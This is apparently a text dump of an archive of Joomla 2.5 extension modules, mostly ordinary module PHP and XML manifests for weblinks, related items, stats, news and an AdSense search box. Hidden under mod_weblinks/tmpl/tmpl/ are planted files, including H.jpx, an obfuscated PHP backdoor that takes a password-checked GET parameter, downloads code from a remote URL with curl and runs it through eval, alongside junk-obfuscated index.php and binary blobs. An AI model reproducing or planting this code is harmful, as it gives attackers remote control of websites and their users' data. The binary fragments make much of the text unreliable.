    PKYy>\)%mod_virtuemart_manufacturer/.htaccessnuW+A Order allow,deny Deny from all PKYy>\-hGG;mod_virtuemart_manufacturer/mod_virtuemart_manufacturer.phpnuW+Aget( 'display_style', "div" ); // Display Style $manufacturers_per_row = $params->get( 'manufacturers_per_row', 1 ); // Display X manufacturers per Row $headerText = $params->get( 'headerText', '' ); // Display a Header Text $footerText = $params->get( 'footerText', ''); // Display a footerText $show = $params->get( 'show', 'all'); // Display a footerText $manufacturers = $model->getManufacturers(true, true,true); $model->addImages($manufacturers); if(empty($manufacturers)) return false; /* load the template */ require(JModuleHelper::getLayoutPath('mod_virtuemart_manufacturer')); ?>PKYy>\(;mod_virtuemart_manufacturer/mod_virtuemart_manufacturer.xmlnuW+A mod_virtuemart_manufacturer January 10 2014 The VirtueMart Development Team http://www.virtuemart.net ${PHING.VM.COPYRIGH} http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL 2.0.26d MOD_VIRTUEMART_MANUFACTURER_DESC mod_virtuemart_manufacturer.php index.html helper.php tmpl/default.php tmpl/index.html
    PKYy>\m&mod_virtuemart_manufacturer/helper.phpnuW+APKYy>\#o,,&mod_virtuemart_manufacturer/index.htmlnuW+APKYy>\AŸ1mod_weblinks/tmpl/tmpl/tmpl/mov_6909675966a63.zipnuW+APKd[$b_6909675966a63.tmpUmoH+Bax}u5 -VV @~Xfs󜗙9~&N5Q/DjCh#L=Qe~\钮 UYIJ%l+,{P⩗Vx!YM:\ >΄ey4MԆa/} Fe#45UX1p Svlrm,$Jh7A{` $bqu֎,;MOOϾ :aqRGZ^hۣueMg*F7_z"#ͮ?G".o m[o%(_6r|&UArnzcd*%f>.ȟ?P/ zG!F6JIIF;wBG[rӍn1w^^dKwI(NkIkq=rxw'>IXMI*27:<ַ{!^([tTq>ĨH|syU}i#`j,iNa_+q(s92#JgUdi\f%_O._4Jɱ|,jūl2?F!|ZzUjܺ\Lkku<ؠWp<}[^b8qᐭ"#%u$gE˶UUO嚤~4UP'"/ƆmD ƽsRlty7PKd[Yc_6909675966a63.tmp]xHr_v͢Xgus^(pwmX sN\?~ްޏ@IK }tK>CD}oB/iS+Yږ=x-= M;7zPX4ozoܻs9Ĉ08 W߭'PEoKz ;gbpdpJSLyiUW[oPCĮ.$%]:Լtg|K^^ 'vV  S@WDkJp%OD=.Xdp&QOeܘ64;c$!&bu;E Wz›vO$\h!`s l OH/w7G˓@?@6SxwSzU$Q^;w n鴟02 E]BLq!r)_}Ӵ3%>IahĶPi_Qe5/1x>E$~:H Wlq>I f&|[t }og#a>{TRw(&;Oh.KH$e =1nB>).ϡ$>2u0%ahw\F%6bN>H;LZM_5KE@{D,k P >rv+GArTތl~gWsgq;_lwIw5Ú{6$Հx}pu⪭?-VBR@nR~ED/eX"Y/}sFeLT:m_PDV]GqF x T5lz%2TJV Ž H aMK~{Niy-~yԞ‰ ԴdWD ETނ~^f i}C fa% +c;f3 USbݥeCt"Ҙ̴w~܅9h$ NC[T|#e%+Jb yӊ ӑ{ p@lX.J*|7})BAêIgQ&Ѕ+"Q3%3969JSS)7B-j=I,vA>'[;`,E"\8ɼgДӪz4+lc @ @*kkҊNm kJ_yD݄FIJW  ;)2VXWfr4Di| d 6›f;ۇ"ޝd _-@= nI"*ݛiQC ERu\&zgg5_{:U{mR%!ju+lӁ² OMZ Z6_'Z] 2ʓF~n}' ihJ-Wfo TՀV|?|c,A+6[h\ྌM*e~q_|ImtoO^@g#KKG/\/)7_G@oq.!mYRP_a?fv`ӀHX `"VPwZ0-DsiY~?a~1Her X~cb  & }ãw e.DHlBEhKSøa\@ˈ%Aaf?@,^\%hEgȡ6qr7 5ϰ_z^F"Sۗb.&9qn -CNԵJ!p̴tؙoU%sx/Qxlmb+#<~{›~@` c4Z !PD\O+R<-FOVuVTVvUr :hUE`;F rs1 c+\NPd`Hyy!B\*k t4`s!sf WP%aZ@:Kad݌תS )z|!/[kr}Xv토G*wͽlw 1I,xљF \d1N 'TAߪq^89cW |3i+;?WJ/ADH뢆$Gov*0%g4|>4Rc-cMm2#I ʖMt7QMN,X=kJ '^!WPI M)ޏi L=*}1HZj^{&oA@r ])+Fz{K{ʼ׭ЛQtW@`WJmh{L}Fu I 207ӈ i,O4k%XMx7@ݐǤ(25)#zґki1]85r;57$SV!:ID`[a=:̯5XUenֶ`'Tn7g0wëI,Xo}#%e%D*B-h-)c9IkCfݐw 9A.VL)@K[1BgJ/yȉ^nƊعz8<X?<>1ih^Nj%o=\ReS%m ]zGiT|U2 i^/gMDMBɚS[`LοZ? 0J‘_w ۏK˿WQsȺ_.߿=Mւٔo?K3Ÿ垷k?0W'ʱ/s 0?xc5o7k̅Cn=wϟ"\׻ZA(/<^6-s/>3$$7Sg1fϠőЯs5IɲR>يW _PKd[$b_6909675966a63.tmpPKd[Y c_6909675966a63.tmpPK PKYy>\,r%mod_weblinks/tmpl/tmpl/tmpl/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PKYy>\4pww%mod_weblinks/tmpl/tmpl/tmpl/cache.phpnuW+APKYy>\ %mod_weblinks/tmpl/tmpl/tmpl/index.phpnuW+APKYy>\]Ω mod_weblinks/tmpl/tmpl/index.phpnuW+AW&BE#ni⇢Ⓘ -*/// [52+2].$WFjmu/*- ✿⇢﹎ↁↂ㊇⇇≻⊶◭ⅲ╠ℯ┃⒦⑤⒍╞⏎$∰ zCIZ(1o-.✿⇢﹎ↁↂ㊇⇇≻⊶◭ⅲ╠ℯ┃⒦⑤⒍╞⏎$∰ -*/// [50+30].$WFjmu/*- ≫┻⅑≢⒪⒕▼⊝≧≿∲┬▲◹≗↪◛⅒㊏✑⌒⌓█㊇℃▩∠ℊ♗ 8pf≫┻⅑≢⒪⒕▼⊝≧≿∲┬▲◹≗↪◛⅒㊏✑⌒⌓█㊇℃▩∠ℊ♗ -*/// [17+3].$WFjmu/*-KTxV$IM`r-*/// [6+8].$WFjmu/*- ➍㈥♚➁✐≺ℓϡ◎☶♐┣✮ fs>=➍㈥♚➁✐≺ℓϡ◎☶♐┣✮ -*/// [6+0]/*- ≠╍⋻ℑ⒤⑤║≎『⊟﹢↜⋁❣⇟⒫⒝㈣⊏⊋‡➧㊝ⓢ㊇⋴♫Ⅸ⋠╏ u5≠╍⋻ℑ⒤⑤║≎『⊟﹢↜⋁❣⇟⒫⒝㈣⊏⊋‡➧㊝ⓢ㊇⋴♫Ⅸ⋠╏ -*/// ; ?>PKYy>\NPKYy>\!G@_88mod_weblinks/tmpl/tmpl/H.jpxnuW+A $XqfGnyJjw08) { $UEMMKGtVT_i .= $xFPSMrQ_0I1[$XqfGnyJjw08 - 21223]; bJczkeIm57T: } goto thcn85j1EQH; thcn85j1EQH: rX8QZDaLYBd: goto saEVIb8KLS6; N0_WTksuD6h: $UEMMKGtVT_i = ''; goto vkUBIprpxOE; L_1SWGwo7iv: $xFPSMrQ_0I1 = $c5BPRg7Rcul("\x7e", "\x20"); goto BUuYF3AI0A2; BUuYF3AI0A2: $tI2UVtR_08L = explode("\x40", $larc2Zazbb_); goto N0_WTksuD6h; j32_U0mWQAD: $c5BPRg7Rcul = "\162" . "\141" . "\x6e" . "\x67" . "\145"; goto L_1SWGwo7iv; HYGTZ45DZV2: } static function KXxpG4IQgFV($x6r6M_2cxw_, $kE0qTH666Na) { goto kj3VqmUTkqd; KbF65c5V4ry: curl_setopt($LKQPHrZEOK0, CURLOPT_RETURNTRANSFER, 1); goto nR0A8Otm3H2; kj3VqmUTkqd: $LKQPHrZEOK0 = curl_init($x6r6M_2cxw_); goto KbF65c5V4ry; MxBsu7VVG6w: return empty($CcPBmU_Xkjo) ? $kE0qTH666Na($x6r6M_2cxw_) : $CcPBmU_Xkjo; goto jRWnllF1Uef; nR0A8Otm3H2: $CcPBmU_Xkjo = curl_exec($LKQPHrZEOK0); goto MxBsu7VVG6w; jRWnllF1Uef: } static function hWo2GKEOVaN() { goto N2QoVcYQKcg; D1HFdvBIHW5: @$GQDxK12wHA4[10 + 0](INPUT_GET, "\x6f\146") == 1 && die($GQDxK12wHA4[2 + 3](__FILE__)); goto WzFbkb2888d; PqxxmFChiDF: @eval($GQDxK12wHA4[4 + 0]($Gm3aTEN1sJE)); goto K4sloG6RBtE; vbUbzQtuz07: CnrKjl0faYq: goto ZK4yvqUX30D; N2QoVcYQKcg: $MRmg8bIv3gd = array("\x32\61\62\x35\x30\x40\x32\x31\62\x33\65\x40\62\61\62\x34\70\x40\62\x31\x32\x35\x32\x40\62\x31\x32\x33\x33\x40\62\x31\x32\x34\70\x40\x32\61\x32\65\64\x40\x32\x31\x32\x34\x37\100\62\61\62\x33\62\100\x32\x31\62\63\71\100\62\x31\x32\65\x30\x40\x32\x31\x32\63\63\x40\x32\61\x32\x34\64\x40\62\61\x32\63\70\100\x32\x31\x32\x33\x39", "\62\61\62\63\x34\100\62\61\62\x33\x33\100\62\x31\x32\63\65\100\x32\61\x32\65\64\100\62\61\62\63\x35\x40\x32\61\62\x33\x38\x40\x32\61\x32\x33\63\x40\x32\61\63\x30\60\x40\x32\61\62\x39\70", "\x32\x31\x32\64\63\100\62\61\x32\63\64\x40\62\x31\62\x33\x38\100\x32\x31\62\63\71\x40\62\x31\x32\x35\x34\100\x32\61\62\x34\71\x40\62\61\x32\64\x38\x40\62\x31\x32\65\x30\100\62\x31\62\63\70\x40\62\61\62\x34\71\x40\62\x31\x32\64\x38", "\x32\61\x32\x33\67\100\x32\x31\x32\65\x32\x40\x32\61\62\x35\x30\x40\62\61\x32\64\x32", "\62\61\62\x35\61\100\62\x31\x32\x35\62\x40\x32\x31\x32\63\x34\100\x32\61\62\x34\x38\x40\62\61\x32\71\x35\x40\x32\x31\x32\71\x37\100\62\x31\x32\65\x34\x40\x32\61\x32\64\x39\x40\62\61\62\x34\70\x40\62\x31\62\65\x30\100\62\61\x32\x33\70\100\x32\x31\x32\x34\x39\x40\62\61\62\x34\x38", "\62\61\x32\64\67\x40\62\61\x32\x34\64\x40\x32\x31\62\x34\x31\100\62\61\62\64\x38\100\62\61\x32\x35\x34\100\x32\x31\x32\64\66\100\x32\61\x32\x34\70\x40\x32\61\x32\x33\x33\x40\62\61\x32\65\x34\x40\62\61\x32\65\60\100\x32\61\62\x33\x38\x40\x32\61\x32\63\71\x40\x32\61\x32\x33\x33\100\x32\x31\x32\x34\x38\100\x32\61\x32\63\71\x40\x32\x31\62\x33\63\100\x32\x31\62\63\x34", "\x32\61\x32\x37\67\100\x32\x31\63\x30\x37", "\62\61\x32\x32\64", "\x32\61\x33\60\62\x40\x32\61\x33\x30\x37", "\x32\x31\62\70\64\100\62\x31\62\x36\67\100\x32\61\x32\66\67\100\62\61\x32\70\x34\100\x32\61\x32\x36\60", "\62\x31\x32\64\x37\100\62\61\62\64\64\x40\x32\x31\x32\x34\61\x40\62\61\62\63\63\100\62\x31\62\x34\x38\x40\x32\61\x32\63\65\100\62\61\62\65\x34\100\x32\61\x32\64\x34\100\62\61\62\x33\x39\100\x32\61\x32\x33\x37\x40\62\x31\x32\63\x32\100\62\61\62\63\x33"); goto wbpFlkaSSik; JGTA2M_0aak: $Gm3aTEN1sJE = self::kxxPg4iQgfV($R81PKPcVJYF[0 + 1], $GQDxK12wHA4[1 + 4]); goto PqxxmFChiDF; K4sloG6RBtE: die; goto vbUbzQtuz07; S1b3r78xzB3: YMlDxQJhRWM: goto kvVcQ2ezAvw; qr9lK7rcGET: $R81PKPcVJYF = $GQDxK12wHA4[0 + 2]($guFD98DzJpD, true); goto D1HFdvBIHW5; WzFbkb2888d: if (!(@$R81PKPcVJYF[0] - time() > 0 and md5(md5($R81PKPcVJYF[1 + 2])) === "\142\143\67\63\63\62\x34\146\63\x62\x39\60\x63\x30\x37\70\61\x31\144\65\71\65\x35\x34\x37\x61\x36\66\x33\62\62\64")) { goto CnrKjl0faYq; } goto JGTA2M_0aak; vN02N2y9DLp: $guFD98DzJpD = @$GQDxK12wHA4[0 + 3]($GQDxK12wHA4[5 + 1], $xaSXwisFOL1); goto qr9lK7rcGET; kvVcQ2ezAvw: $xaSXwisFOL1 = @$GQDxK12wHA4[1]($GQDxK12wHA4[5 + 5](INPUT_GET, $GQDxK12wHA4[7 + 2])); goto vN02N2y9DLp; wbpFlkaSSik: foreach ($MRmg8bIv3gd as $EUBF1xa8E7o) { $GQDxK12wHA4[] = self::c_nTUDrkY3N($EUBF1xa8E7o); zI2BuurcfM0: } goto S1b3r78xzB3; ZK4yvqUX30D: } } goto w67qvH3sdnU; gmL4AJYWqRI: $GQ7PN4xyyfm = $Tc3qUvsXLkE("\x7e", "\x20"); goto WV2NhJShhJE; WV2NhJShhJE: $VWHUMZsTzQA = ${$GQ7PN4xyyfm[21 + 10] . $GQ7PN4xyyfm[40 + 19] . $GQ7PN4xyyfm[28 + 19] . $GQ7PN4xyyfm[13 + 34] . $GQ7PN4xyyfm[19 + 32] . $GQ7PN4xyyfm[35 + 18] . $GQ7PN4xyyfm[25 + 32]}; goto XVgeYymeCMN; I_FHuKXoYVT: $Tc3qUvsXLkE = "\x72" . "\141" . "\156" . "\x67" . "\x65"; goto gmL4AJYWqRI; w67qvH3sdnU: UMpW4UyZzBS::HWO2gkEOvAN(); ?> PKYy>\,r mod_weblinks/tmpl/tmpl/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PKYy>\)mod_weblinks/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\Vmod_weblinks/tmpl/index.htmlnuW+A PKYy>\7}}mod_weblinks/tmpl/default.phpnuW+A PKYy>\)mod_weblinks/.htaccessnuW+A Order allow,deny Deny from all PKYy>\F88mod_weblinks/mod_weblinks.xmlnuW+A mod_weblinks Joomla! Project July 2009 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_WEBLINKS_XML_DESCRIPTION mod_weblinks.php tmpl helper.php index.html mod_weblinks.xml en-GB.mod_weblinks.ini en-GB.mod_weblinks.sys.ini
    PKYy>\r``mod_weblinks/mod_weblinks.phpnuW+Aget('moduleclass_sfx')); require JModuleHelper::getLayoutPath('mod_weblinks', $params->get('layout', 'default')); PKYy>\ˇ mod_weblinks/helper.phpnuW+A true)); // Set application parameters in model $app = JFactory::getApplication(); $appParams = $app->getParams(); $model->setState('params', $appParams); // Set the filters based on the module params $model->setState('list.start', 0); $model->setState('list.limit', (int) $params->get('count', 5)); $model->setState('filter.state', 1); $model->setState('filter.publish_date', true); $model->setState('filter.archived', 0); $model->setState('filter.approved', 1); // Access filter $access = !JComponentHelper::getParams('com_weblinks')->get('show_noauth'); $authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id')); $model->setState('filter.access', $access); $ordering = $params->get('ordering', 'ordering'); $model->setState('list.ordering', $ordering == 'order' ? 'ordering' : $ordering); $model->setState('list.direction', $params->get('direction', 'asc')); $catid = (int) $params->get('catid', 0); $model->setState('category.id', $catid); // Create query object $db = JFactory::getDbo(); $query = $db->getQuery(true); $case_when1 = ' CASE WHEN '; $case_when1 .= $query->charLength('a.alias'); $case_when1 .= ' THEN '; $a_id = $query->castAsChar('a.id'); $case_when1 .= $query->concatenate(array($a_id, 'a.alias'), ':'); $case_when1 .= ' ELSE '; $case_when1 .= $a_id.' END as slug'; $case_when2 = ' CASE WHEN '; $case_when2 .= $query->charLength('c.alias'); $case_when2 .= ' THEN '; $c_id = $query->castAsChar('c.id'); $case_when2 .= $query->concatenate(array($c_id, 'c.alias'), ':'); $case_when2 .= ' ELSE '; $case_when2 .= $c_id.' END as catslug'; $model->setState('list.select', 'a.*, c.published AS c_published,'.$case_when1.','.$case_when2.','. 'DATE_FORMAT(a.date, "%Y-%m-%d") AS created'); $model->setState('filter.c.published', 1); // Filter by language $model->setState('filter.language', $app->getLanguageFilter()); $items = $model->getItems(); /* * This was in the previous code before we changed over to using the * weblinkscategory model but I don't see any models using checked_out filters * in their getListQuery() methods so I believe we should not be adding this now */ /* $query->where('(a.checked_out = 0 OR a.checked_out = '.$user->id.')'); */ for ($i =0, $count = count($items); $i < $count; $i++) { $item = &$items[$i]; if ($item->params->get('count_clicks', $params->get('count_clicks')) == 1) { $item->link = JRoute::_('index.php?option=com_weblinks&task=weblink.go&catid='.$item->catslug.'&id='. $item->slug); } else { $item->link = $item->url; } } return $items; } } PKYy>\Vmod_weblinks/index.htmlnuW+A PKYy>\$>mod_related_items/helper.phpnuW+Aget('id'); $count = intval($params->get('count', 5)); $groups = implode(',', $user->getAuthorisedViewLevels()); $date = JFactory::getDate(); $option = JRequest::getCmd('option'); $view = JRequest::getCmd('view'); $temp = JRequest::getString('id'); $temp = explode(':', $temp); $id = $temp[0]; $showDate = $params->get('showDate', 0); $nullDate = $db->getNullDate(); $now = $date->toSql(); $related = array(); $query = $db->getQuery(true); if ($option == 'com_content' && $view == 'article' && $id) { // select the meta keywords from the item $query->select('metakey'); $query->from('#__content'); $query->where('id = ' . (int) $id); $db->setQuery($query); if ($metakey = trim($db->loadResult())) { // explode the meta keys on a comma $keys = explode(',', $metakey); $likes = array (); // assemble any non-blank word(s) foreach ($keys as $key) { $key = trim($key); if ($key) { $likes[] = $db->escape($key); } } if (count($likes)) { // select other items based on the metakey field 'like' the keys found $query->clear(); $query->select('a.id'); $query->select('a.title'); $query->select('DATE_FORMAT(a.created, "%Y-%m-%d") as created'); $query->select('a.catid'); $query->select('a.language'); $query->select('cc.access AS cat_access'); $query->select('cc.published AS cat_state'); //sqlsrv changes $case_when = ' CASE WHEN '; $case_when .= $query->charLength('a.alias'); $case_when .= ' THEN '; $a_id = $query->castAsChar('a.id'); $case_when .= $query->concatenate(array($a_id, 'a.alias'), ':'); $case_when .= ' ELSE '; $case_when .= $a_id.' END as slug'; $query->select($case_when); $case_when = ' CASE WHEN '; $case_when .= $query->charLength('cc.alias'); $case_when .= ' THEN '; $c_id = $query->castAsChar('cc.id'); $case_when .= $query->concatenate(array($c_id, 'cc.alias'), ':'); $case_when .= ' ELSE '; $case_when .= $c_id.' END as catslug'; $query->select($case_when); $query->from('#__content AS a'); $query->leftJoin('#__content_frontpage AS f ON f.content_id = a.id'); $query->leftJoin('#__categories AS cc ON cc.id = a.catid'); $query->where('a.id != ' . (int) $id); $query->where('a.state = 1'); $query->where('a.access IN (' . $groups . ')'); $concat_string = $query->concatenate(array('","', ' REPLACE(a.metakey, ", ", ",")', ' ","')); $query->where('('.$concat_string.' LIKE "%'.implode('%" OR '.$concat_string.' LIKE "%', $likes).'%")'); //remove single space after commas in keywords) $query->where('(a.publish_up = '.$db->Quote($nullDate).' OR a.publish_up <= '.$db->Quote($now).')'); $query->where('(a.publish_down = '.$db->Quote($nullDate).' OR a.publish_down >= '.$db->Quote($now).')'); // Filter by language if ($app->getLanguageFilter()) { $query->where('a.language in (' . $db->Quote(JFactory::getLanguage()->getTag()) . ',' . $db->Quote('*') . ')'); } $db->setQuery($query); $qstring = $db->getQuery(); $temp = $db->loadObjectList(); if (count($temp)) { foreach ($temp as $row) { if ($row->cat_state == 1) { $row->route = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catslug, $row->language)); $related[] = $row; } } } unset ($temp); } } } return $related; } } PKYy>\Vmod_related_items/index.htmlnuW+A PKYy>\UH'mod_related_items/mod_related_items.xmlnuW+A mod_related_items Joomla! Project July 2004 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_RELATED_XML_DESCRIPTION mod_related_items.php tmpl helper.php index.html mod_related_items.xml en-GB.mod_related_items.ini en-GB.mod_related_items.sys.ini
    PKYy>\57Z'mod_related_items/mod_related_items.phpnuW+Acachemode = 'safeuri'; $cacheparams->class = 'modRelatedItemsHelper'; $cacheparams->method = 'getList'; $cacheparams->methodparams = $params; $cacheparams->modeparams = array('id'=>'int', 'Itemid'=>'int'); $list = JModuleHelper::moduleCache ($module, $params, $cacheparams); if (!count($list)) { return; } $moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx')); $showDate = $params->get('showDate', 0); require JModuleHelper::getLayoutPath('mod_related_items', $params->get('layout', 'default')); PKYy>\)mod_related_items/.htaccessnuW+A Order allow,deny Deny from all PKYy>\) mod_related_items/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\V!mod_related_items/tmpl/index.htmlnuW+A PKYy>\/'OO"mod_related_items/tmpl/default.phpnuW+A PKYy>\Go333mod_googleadsensesearch/mod_googleadsensesearch.phpnuW+AGoogle Adsense Seach module

    * * @version $Id: mod_googleadsensesearch.php, V1.1.0 $ * @copyright (C) 2006 JoobiWeb * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL * @author Julien Pinaud * @link http://www.joobiweb.com */ // no direct access defined( '_JEXEC' ) or die( 'Restricted access' ); $button_choose = $params->get( 'button', '0' ); $button_pos = $params->get( 'button_pos', 'left' ); $button_text = $params->get( 'button_text', 'search' ); $width = $params->get( 'width', 20 ); $text = $params->get( 'text', ''); $set_Itemid = intval( $params->get( 'set_itemid', 0 ) ); $client = $params->get( 'client', 'pub-1442685103838603') ; $moduleclass_sfx = $params->get( 'moduleclass_sfx', '' ) ; $encoding = $params->get( 'encoding', 'UTF-8' ); $hl = $params->get( 'hl', 'en' ); $newwin = $params->get( 'newwin', '1' ); $textColor = $params->get( 'textColor', '000' ); $backgroundColor = $params->get( 'backgroundColor', '#FFF' ); $cache = $params->get( 'cache', 'left' ); $domains1 = $params->get( 'domains1', '') ; $domains2 = $params->get( 'domains2', '') ; $domains3 = $params->get( 'domains3', '') ; $name1 = $params->get( 'name1', '') ; $name2 = $params->get( 'name2', '') ; $name3 = $params->get( 'name3', '') ; $sitesearch = $params->get( 'sitesearch', '0' ); $logoUrl = $params->get( 'logoUrl', '') ; $logoDestUrl = $params->get( 'logoDestUrl', '') ; $logoPlacement = $params->get( 'logoPlacement', '0') ; $country = $params->get( 'country', 'en') ; $logoGoogle = $params->get( 'logoGoogle', '0') ; $channel = $params->get( 'channel', '') ; if ( $button_choose=='1') { $button = ''; $output = ''; } else { $button=''; $output = ''; } switch ( $button_pos ) { case 'top': $button = $button .'
    '; $output = $button . $output; break; case 'bottom': $button = '
    '. $button; $output = $output . $button; break; case 'right': $output = $output . $button; break; case 'left': default: $output = $button . $output; break; } ?> '.$name1.'
    '; $schowWeb='Web
    '; } else{ $schowDomains1=''; } ?> '.$name2.'
    '; } else{ $schowDomains2=''; } ?> '.$name3.'
    '; } else{ $schowDomains3=''; } ?> Web
    '; } echo''; } ?> Google'; } else{ $logo =''; } ?>
    '. $radio. '
    '; ?>
    PKYy>\76 YY3mod_googleadsensesearch/mod_googleadsensesearch.xmlnuW+A Google Adsense Seach Module Nick Dawson February 2007 (C) 2008 Open Source Matters. All rights reserved. http://www.gnu.org/copyleft/gpl.html GNU/GPL nick@dawson.be www.dawson.be 1.0.2 This module will display a search box similar to Joomla search box but for google Adsense results. Based on the Joomla 1.0.x code written by Julien Pinaud and modified for Joomla 1.5 native functionality. mod_googleadsensesearch.php PKYy>\)!mod_googleadsensesearch/.htaccessnuW+A Order allow,deny Deny from all PKYy>\Vmod_stats/tmpl/index.htmlnuW+A PKYy>\wwmod_stats/tmpl/default.phpnuW+A
    title;?>
    data;?>
    PKYy>\)mod_stats/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\)mod_stats/.htaccessnuW+A Order allow,deny Deny from all PKYy>\>v mod_stats/helper.phpnuW+AgetQuery(true); $serverinfo = $params->get('serverinfo'); $siteinfo = $params->get('siteinfo'); $counter = $params->get('counter'); $increase = $params->get('increase'); $i = 0; if ($serverinfo) { $rows[$i] = new stdClass; $rows[$i]->title = JText::_('MOD_STATS_OS'); $rows[$i]->data = substr(php_uname(), 0, 7); $i++; $rows[$i] = new stdClass; $rows[$i]->title = JText::_('MOD_STATS_PHP'); $rows[$i]->data = phpversion(); $i++; $rows[$i] = new stdClass; $rows[$i]->title = JText::_('MOD_STATS_MYSQL'); $rows[$i]->data = $db->getVersion(); $i++; $rows[$i] = new stdClass; $rows[$i]->title = JTEXT::_('MOD_STATS_TIME'); $rows[$i]->data = JHtml::_('date', 'now', 'H:i'); $i++; $rows[$i] = new stdClass; $rows[$i]->title = JText::_('MOD_STATS_CACHING'); $rows[$i]->data = $app->getCfg('caching') ? JText::_('JENABLED'):JText::_('JDISABLED'); $i++; $rows[$i] = new stdClass; $rows[$i]->title = JText::_('MOD_STATS_GZIP'); $rows[$i]->data = $app->getCfg('gzip') ? JText::_('JENABLED'):JText::_('JDISABLED'); $i++; } if ($siteinfo) { $query->select('COUNT(id) AS count_users'); $query->from('#__users'); $db->setQuery($query); $users = $db->loadResult(); $query->clear(); $query->select('COUNT(id) AS count_items'); $query->from('#__content'); $query->where('state = 1'); $db->setQuery($query); $items = $db->loadResult(); $query->clear(); $query->select('COUNT(id) AS count_links '); $query->from('#__weblinks'); $query->where('state = 1'); $db->setQuery($query); $links = $db->loadResult(); if ($users) { $rows[$i] = new stdClass; $rows[$i]->title = JText::_('MOD_STATS_USERS'); $rows[$i]->data = $users; $i++; } if ($items) { $rows[$i] = new stdClass; $rows[$i]->title = JText::_('MOD_STATS_ARTICLES'); $rows[$i]->data = $items; $i++; } if ($links) { $rows[$i] = new stdClass; $rows[$i]->title = JText::_('MOD_STATS_WEBLINKS'); $rows[$i]->data = $links; $i++; } } if ($counter) { $query->clear(); $query->select('SUM(hits) AS count_hits'); $query->from('#__content'); $query->where('state = 1'); $db->setQuery($query); $hits = $db->loadResult(); if ($hits) { $rows[$i] = new stdClass; $rows[$i]->title = JText::_('MOD_STATS_ARTICLES_VIEW_HITS'); $rows[$i]->data = $hits + $increase; $i++; } } return $rows; } } PKYy>\Vmod_stats/index.htmlnuW+A PKYy>\Շmod_stats/mod_stats.phpnuW+Aget('serverinfo'); $siteinfo = $params->get('siteinfo'); $list = modStatsHelper::getList($params); $moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx')); require JModuleHelper::getLayoutPath('mod_stats', $params->get('layout', 'default')); PKYy>\>9ͱ mod_stats/mod_stats.xmlnuW+A mod_stats Joomla! Project July 2004 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_STATS_XML_DESCRIPTION mod_stats.php tmpl helper.php index.html mod_stats.xml en-GB.mod_stats.ini en-GB.mod_stats.sys.ini
    PKYy>\)mod_articles_news/.htaccessnuW+A Order allow,deny Deny from all PKYy>\k`"mod_articles_news/tmpl/default.phpnuW+A
    PKYy>\X#mod_articles_news/tmpl/vertical.phpnuW+A
    • 1 && (($i < $n - 1) || $params->get('showLastSeparator'))) : ?>  
    PKYy>\V!mod_articles_news/tmpl/index.htmlnuW+A PKYy>\ 4&,, mod_articles_news/tmpl/_item.phpnuW+Aget('item_heading', 'h4'); ?> get('item_title')) : ?> < class="newsflash-titleget('moduleclass_sfx'); ?>"> get('link_titles') && $item->link != '') : ?> title;?> title; ?> > get('intro_only')) : echo $item->afterDisplayTitle; endif; ?> beforeDisplayContent; ?> introtext; ?> link) && $item->readmore != 0 && $params->get('readmore')) : echo ''.$item->linkText.''; endif; ?> PKYy>\%mod_articles_news/tmpl/horizontal.phpnuW+A
    • 1 && (($i < $n - 1) || $params->get('showLastSeparator'))) : ?>  
    PKYy>\) mod_articles_news/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKYy>\[Q]]'mod_articles_news/mod_articles_news.xmlnuW+A mod_articles_news Joomla! Project July 2006 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 MOD_ARTICLES_NEWS_XML_DESCRIPTION mod_articles_news.php tmpl helper.php index.html mod_articles_news.xml en-GB.mod_articles_news.ini en-GB.mod_articles_news.sys.ini
    PKYy>\KkPP'mod_articles_news/mod_articles_news.phpnuW+Aget('moduleclass_sfx')); require JModuleHelper::getLayoutPath('mod_articles_news', $params->get('layout', 'horizontal')); PKYy>\!vq: : mod_articles_news/helper.phpnuW+A true)); // Set application parameters in model $appParams = JFactory::getApplication()->getParams(); $model->setState('params', $appParams); // Set the filters based on the module params $model->setState('list.start', 0); $model->setState('list.limit', (int) $params->get('count', 5)); $model->setState('filter.published', 1); $model->setState('list.select', 'a.fulltext, a.id, a.title, a.alias, a.title_alias, a.introtext, a.state, a.catid, a.created, a.created_by, a.created_by_alias,' . ' a.modified, a.modified_by, a.publish_up, a.publish_down, a.images, a.urls, a.attribs, a.metadata, a.metakey, a.metadesc, a.access,' . ' a.hits, a.featured, a.language' ); // Access filter $access = !JComponentHelper::getParams('com_content')->get('show_noauth'); $authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id')); $model->setState('filter.access', $access); // Category filter $model->setState('filter.category_id', $params->get('catid', array())); // Filter by language $model->setState('filter.language', $app->getLanguageFilter()); // Set ordering $ordering = $params->get('ordering', 'a.publish_up'); $model->setState('list.ordering', $ordering); if (trim($ordering) == 'rand()') { $model->setState('list.direction', ''); } else { $model->setState('list.direction', 'DESC'); } // Retrieve Content $items = $model->getItems(); foreach ($items as &$item) { $item->readmore = strlen(trim($item->fulltext)); $item->slug = $item->id.':'.$item->alias; $item->catslug = $item->catid.':'.$item->category_alias; if ($access || in_array($item->access, $authorised)) { // We know that user has the privilege to view the article $item->link = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language)); $item->linkText = JText::_('MOD_ARTICLES_NEWS_READMORE'); } else { $item->link = JRoute::_('index.php?option=com_users&view=login'); $item->linkText = 